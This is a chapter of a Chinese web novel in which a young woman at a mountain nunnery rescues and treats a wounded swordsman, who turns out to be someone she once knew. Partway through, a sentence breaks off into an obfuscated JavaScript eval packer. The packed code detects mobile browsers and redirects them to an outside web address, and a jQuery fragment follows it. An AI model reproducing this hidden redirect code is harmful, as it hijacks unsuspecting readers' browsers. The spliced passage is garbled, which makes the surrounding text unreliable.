6. 受伤的男人

作品:《救命!小姐和杀手私奔了!

    岁月不居,时节如流。


    春末巳时的山头已经大亮,溪流在林间蜿蜒,一名身着素色缁衣、发髻被灰色布帛包裹的妙龄女子正提桶蹲在溪边打水。


    见水桶里盛满水,她倒也不急着回去,而是在溪边寻了个块树荫下的大石块坐了上去,听着潺潺水声与摇曳林枝交响的山林低语。


    完成早课诵经之后,若寺里没有其他安排,温仪君偶尔便会来这山泉边打水。


    虽然寺里也有水井,可这方泉水倒是格外甘甜,正合适饮用。恰好此处离她所居的小院落距离也不远,顺道出来透透气,偷得半日闲。


    两年前,温仪君人微力薄,尽管不愿,最终还是没有拗过家里,被送来了霁云尼寺。


    初到时温仪君还有些不适应,每日皆是枯燥而循环往复的早课、晚课和午间修行,或是诵经礼拜、坐禅观心,或是举办法会、诵戒忏悔,又无丫鬟等仆役相随,生活杂事一应皆由自己操办,对这样一个十指不沾阳春水的小娘子来说算是吃了些苦头。


    不过时间一长,温仪君倒也慢慢习惯了这样的日子,常诵的佛经是倒背如流,提着载满水的木桶在山间行走也不会觉得怎么吃力,她甚至打趣自己如今算是别样的“文武双全”了。


    看日头逐渐靠近正中,温仪君准备提水回寺用斋饭——作为家中捐赠些财务而来带发修行的官家女,相较正式的比丘尼,最大的好处便是不用参与寺里共有的一些劳作,如备斋、洒扫等,以及拥有自己独立的一个小院子。


    步履踩在山间的落叶和杂草上,带起一阵阵“窸窣”的声响。温仪君的眼神无聊地在山林中乱逛,突然感觉脚下踩踏的感觉有些异样,不是踏在土地上的扎实感,竟然感觉到几分柔软。


    温仪君一激灵,顿时浑身汗毛都吓得竖了起来,难道是踩到了蛇?


    可分明此地少有蛇虫出没。


    她战战兢兢地向脚下看去——不是蛇。


    刚要松一口气,却发现,虽然被落叶掩盖住了几分,仍然不免能看出这竟是一只人手!


    温仪君惊得差点蹦起,连连后退,待心神镇定才沿着手臂看过去。


    是一个昏迷的男子。


    男人侧躺着,脸被凌乱的发遮住,另一只手紧紧抓着把剑,黑色的夜行衣也隐藏不住血迹染出的大片暗红,衣物还带些泥土,很明显是受了重伤,又从山坡上滚落了下来。


    她将水桶放到一边,小心翼翼地蹲下将人翻过身,试探着伸手凑到他鼻翼边。


    还有气。


    自己要救他,带他回尼寺吗?


    此处位于寺庙的后山,即使来上香礼佛,也鲜有人会走到此处。若自己将他仍在此处,怕是性命难保。


    但此人不知善恶,万一为自己招来杀身之祸……


    心中正做着斗争,温仪君视线突然定住在男子颈间。随着她刚才将男子翻过身,男子衣领间略微散开,露出他紧实的颈部线条和清晰的锁骨,以及两者中间佩戴着的玉佩——她两年前亲手赠与邝玉的玉佩。


    温仪君呼吸一滞,连忙伸手擦净男子脸上的脏污。


    是一张陌生的脸。


    温仪君大松一口气,又一时不知该是喜还是哀。


    喜的是受如此重伤的人不是邝玉,哀的是,果然世间哪儿能有那么多久别重逢。


    但更多的还是疑惑,玉佩怎么会出现在了别人身上。


    难道是杀人夺宝?可是此玉并非多贵重之名物,只是对自己意义深重。难道邝玉将自己赠与他的玉又转送别人了?


    一想到这种可能,温仪君不免有些气恼。


    但是比起自己在这胡乱的猜测,只有他醒来才能得到真正的答案。


    无奈叹了口气,温仪君尝试着想将对方扛到自己肩上背回去,却发现着男子实在太重了,身形也比自己高了整整一个头——明明自己这两年中还长高了些许,已经算女子中比较高的个头了。


    将男子扛在肩上简直寸步难行,温仪君无奈只得放下他,选择拽着他的手向前拖行。


    虽然这种方法有些难为你的手和背,但我也是一片好心救你,莫怪莫怪。


    温仪君心里小声说着抱歉,手里的功夫倒是一点没停下。


    *


    四面土墙合围着侧向而对的两间小屋,院落里突然响起“咯吱”一声,老旧的侧门被从外打开。


    温仪君拉着男人走走停停了半晌,等到达居住的小院子时已经错过了午斋的时辰,但温仪君也顾不得吃饭,而是先把男人拖进放杂物的侧屋,扶到小榻上,准备为他包扎。


    屋里备有一些药,也不知对不对症,但尼寺向来禁止男性进入,无法去找通晓医术的尼姑来帮忙,只能死马当活马医了。


    温仪君扒开男子的衣物,浑身精瘦而块垒分明的肌肉看得她有些脸红,但目光又马上被身上密布的刀疤吸引走。有的陈年旧伤已经只剩下一条浅浅的痕迹,有的却是新伤,正因为刚才的拉扯往外渗着血液。


    而最大的一道伤口在腹部,不似其他仅是割破了表面的肌肤,而是被利器深深捅进了血肉,因受伤后未及时处理,已经血肉模糊了一大片,甚至开始溃烂,看得温仪君脸色发白。


    温仪君顾不得男女之别,将他衣裳褪去,打来一盆屋里备的平时沐洗用的水为男子把身上擦拭干净,用火折子起火灼烧了小刀,忍着恶心割下腐肉,在伤口撒上金疮药,又拿了几件衣服撕成条状将伤口包扎起来,最后找了件宽大些的缁衣为他披上。


    做完这一切,温仪君已是满头大汗。


    歇了片刻,又拿起放在一旁金疮药瓶看了看已经所剩不多了。


    这还是她在温家时备下的,张嬷嬷为她收拾上山的行囊时怕她一个人在寺里出什么意外,嘱咐她一并带上,没想到还真派上了用场。但是今日之前本就已经所剩不多,他如此重的伤势怕是要不够用……


    随着男子一同带回的那把剑映入了眼里,温仪君迟疑地伸过手去,将剑拔出,踌躇半响,还是狠下心苦着脸咬着牙在自己手臂上轻轻划了一刀——自己不识草药,如此,便能说是在闲来无事时拿镰刀去割摘野菜,不慎划伤了自己,然后好去药园找医尼开些药方。


    正准备起身去找医尼,却被男子抓住了衣角,温仪君有些惊喜:“郎君可是醒了?”


    却见人眼睛仍是闭着,似乎只是半梦半醒间随意伸手抓住了什么。温仪君只能无奈地摇摇头,将他的手扒下,“别抓着了,我是去给你捡药。”


    *


    先是被医尼说是“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319251|167400||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    若再来晚一些伤口都要愈合了”,又在向掌事的尼师维那告假不去参加午后的修行时被念叨心不诚,但总算是顺利拿到药草回来,将内服的药煎了给男人服下,还不忘把早上落在溪边的水桶拎了回来。


    寺院讲究过午不食,今日为着带男人回院落上药而错过了午斋,温仪君好不容易忍着饥饿,心有杂念地在晚课上跟着众比丘尼诵读完《阿弥陀经》,一边走回院落一边盘算着要不要真去摘点野菜充充饥。


    没想到一进侧屋,却见此前昏睡在榻上的男人已经消失不见,紧接而来的却是剑刃紧贴在自己颈边的触感——上一次被人用剑架在脖子上,还是两年前初遇邝玉那次。


    耳边响起冷冷的质问:“你是谁?这是哪儿?”


    声音听着有些耳熟,但温仪君更先涌上心头的是一阵气愤,好啊,果然救了头白眼狼!


    温仪君正要开口,却听男子带着几分不确定地道:“温仪君?”


    他认得我?


    温仪君一头雾水着,身后的人已收了剑,走到她面前,仍然是半披着温仪君的缁衣,露出赤裸的胸膛,看面容确实是一个未曾谋面的男子。就见他伸手在面部扒拉着什么,竟撕下一层人皮面具。


    “邝郎君!”温仪君惊呼。


    这个被温仪君捡回来的人正是邝玉。


    此前邝玉昏迷时,迷迷糊糊间仿佛看到了温仪君,他还以为自己是在做梦,没想到竟然真的是她。


    想着自己刚才的行为,邝玉面露歉意,就听温仪君道:“你怎么会在这儿?还受了如此重的伤!你快快坐下歇息!”


    温仪君急忙上前去扶着邝玉坐回榻上,却见此前腹部包扎的布条因为他刚才的动作又渗出更多暗红。


    “伤怕是又裂开了,我今日为了救你可废了好大功夫,你可别再糟蹋自己身体了!”温仪君不满,说着便自然而然地伸手要去解布条重新上药,被邝玉一把按住她的手。


    温仪君这才反应过来自己做了什么,瞬间感觉一股热气冲上脑袋,满脸通红,“我,我只是想重新给你上药……”


    “我自己来就可以了。”邝玉这次的声音听着终于不再那么冷冽,带着些许的起伏,一边拢上散开的外衣。


    温仪君应好,去拿来下午捣碎备好的草药交到他手里,邝玉接过盛药的碗,低头正欲解衣换药,又有些犹豫着抬眼看了下温仪君。


    温仪君回过神,“我去给你煎药!”说完快步走出房间。


    温仪君煎好药端进来时,邝玉已经换完伤药,重新整理好了外衣,还好僧尼的缁衣都向来宽大,邝玉勉强还能穿下。


    只不过是手脚皆短了一截的贴身版。


    邝玉喝完药,看着邝玉穿着缁衣颇有些不伦不类的样子,温仪君忍不住发笑,见邝玉看过来,又正色道:“此处乃洛阳郊外白龙山上的霁云尼寺,只有尼师的缁衣与我的几件常服,难以寻到男子服饰,只能郎君先委屈一下了。”


    白龙山?邝玉回忆着。


    之前只记得昏迷前确实是被他们追着逃到了靠近洛阳一带,没想到慌不择路是跑上了白龙山,还正好遇到了温仪君所在的尼寺。


    只是……


    “你不是回温家了吗?怎么会在尼寺?”还穿着比丘尼的衣服。